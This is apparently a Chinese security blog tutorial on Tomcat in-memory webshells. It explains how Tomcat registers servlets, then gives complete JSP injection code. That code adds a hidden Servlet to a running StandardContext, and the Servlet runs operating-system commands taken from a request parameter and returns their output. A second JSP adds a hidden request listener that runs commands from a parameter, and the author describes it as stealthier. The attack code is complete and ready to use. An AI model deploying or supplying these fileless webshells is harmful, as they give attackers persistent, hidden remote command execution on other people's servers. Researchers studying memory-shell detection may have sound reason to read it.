Servlet内存马

之前入门先把Filter类型的内存马弄了下,把Servlet的也搞下

Servlet Demo

Servlet接口类有五个接口,分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用)

图片

其中主要的逻辑是在Service里实现,自己随便写点

图片

其中,对应的web.xml如下配置

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--Demo-->
<servlet>
    <servlet-name>servletDemo</servlet-name>
    <servlet-class>com.java.Memory.ServletDemo</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>WEB-INF/dispatcher-servlet.xml</param-value>
    </init-param>
</servlet>
<servlet-mapping>
    <servlet-name>servletDemo</servlet-name>
    <url-pattern>/servlet</url-pattern>
</servlet-mapping>

注入Servlet

从前面的Servlet Demo可以看到,Servlet 的生命周期开始于Web容器的启动时(解析加载web.xml配置的servlet对象),它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。

要注入servlet,就需要在tomcat启动之后动态添加Servlet。Tomcat7之后的版本,在StandardContext中提供了动态添加Servlet类的方法:

图片

之前在Filter篇讲过Container里的四大组件分别为Engine.Host.Context和Wrapper

根据文档可知:

Engine,实现类为 org.apache.catalina.core.StandardEngine

Host,实现类为 org.apache.catalina.core.StandardHost

Context,实现类为 org.apache.catalina.core.StandardContext

Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

这里提个小插曲,针对于javaweb的三大件Listener.Servlet,Filter

这三者的启动顺序是Listener->Filter->Servlet

Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)

Servlet 生成与配置

如何创建一个Wapper,并配置好Servlet进行动态添加呢?

首先得有一个创建Wapper实例的东西,这里可以从StandardContext.createWapper()获得一个Wapper对象

图片

前面说到过,Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例。当获取到StandardContext对象,就可以用 createWapper() 来生成一个 Wapper 对象。

接下来就是配置Servlet,探究配置过程,在 org.apache.catalina.core.StandardWapper#setServletClass() 下断点

图片

图片

追溯到上一级configureStart,开始配置webconfig:

图片

webConfig() 中读取了 web.xml

图片

然后根据 web.xml 配置 context

图片

configureContext() 中依次读取了 Filter、Listener、Servlet的配置及其映射,我们直接看 Servlet 部分

图片

图片

使用context对象的createWrapper()方法创建了Wapper对象,然后设置了启动优先级LoadOnStartUp,以及servlet的Name

图片

接着配置了Servlet的Class

图片

最后将创建并配置好的 Wrapper 加入到 Context 的 Child 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加Servlet-Mapper了

图片

图片

 取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。

总结一下,Servlet的生成与动态添加依次进行了以下步骤:

1
2
3
4
5
6
7
8
9
10
11
1. 通过 context.createWapper() 创建 Wapper 对象;

2. 设置 Servlet 的 LoadOnStartUp 的值;

3. 设置 Servlet 的 Name;

4. 设置 Servlet 对应的 Class;

5. 将 Servlet 添加到 context 的 children 中;

6. 将 url 路径和 servlet 类做映射。

简单的Servlet内存马

首先写一个 Servlet 恶意类,实现为 service() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%!
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {
 
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
 
        }
    };
%>

获取到 StandardContext

1
2
3
4
5
6
7
<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%>

根据之前研究的,按照步骤添加Servlet

1
2
3
4
5
6
7
8
<%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%>

最后将 URL 路径与 Servlet 恶意类做映射

1
2
3
4
5
<%
    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/metaStor", name);
%>

最后组合一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    public static class servletTest extends HttpServlet {
        @Override
        public void doGet(HttpServletRequest httpRequest, HttpServletResponse httpResponse) throws ServletException, IOException {
            System.out.println("doGet被调用");
            //servletResponse.getOutputStream().write("doGet被调用".getBytes());

            if (httpRequest.getParameter("c") != null) {
                System.out.println("eval");
                //String[]  command = new String[]{"sh", "-c", request.getParameter("c")};
                String command = httpRequest.getParameter("c");
                //System.out.println(Arrays.toString(command));
                InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
                Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
                String output = scanner.hasNext() ? scanner.next() : "";
                httpResponse.getOutputStream().write(output.getBytes());
                httpResponse.getOutputStream().flush();
                //servletResponse.getWriter().write(output);
                //servletResponse.getWriter().flush();

            }
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            System.out.println("doPost被调用");
            doGet(req, resp);
        }

        @Override
        public void init() throws ServletException {
            System.out.println("servlet demo init!");
        }
    }
%>
<%
    servletTest servlet=new servletTest();
    // 一个小路径快速获得StandardContext,这两种都行,这个常用一点
    // Field reqF = request.getClass().getDeclaredField("request");
    // reqF.setAccessible(true);
    // Request req = (Request) reqF.get(request);
    // StandardContext stdcontext = (StandardContext) req.getContext();

    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext stdcontext = (StandardContext)webappClassLoaderBase.getResources().getContext();



    org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());



    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/servlet", name);
    System.out.print("注入成功");

%>

这里把Listener的Demo一起放,稍微看了下具体原理差不多,细节改下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%!
    public  class listenerDemo implements ServletRequestListener{
        @Override
        public void requestDestroyed(ServletRequestEvent sre){
            System.out.println("linstener Destroyed!");
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre){
            System.out.println("linstener Initialized!");
            String command = sre.getServletRequest().getParameter("fuck");
            try {
                Runtime.getRuntime().exec(command);
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
    }
%>
<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    listenerDemo listenerdemo = new listenerDemo();
    context.addApplicationEventListener(listenerdemo);
%>

这个listener的形式优先级最高,代码量最小,而且由于servrlet的特性,每次都会销毁实例,隐蔽性更高一点点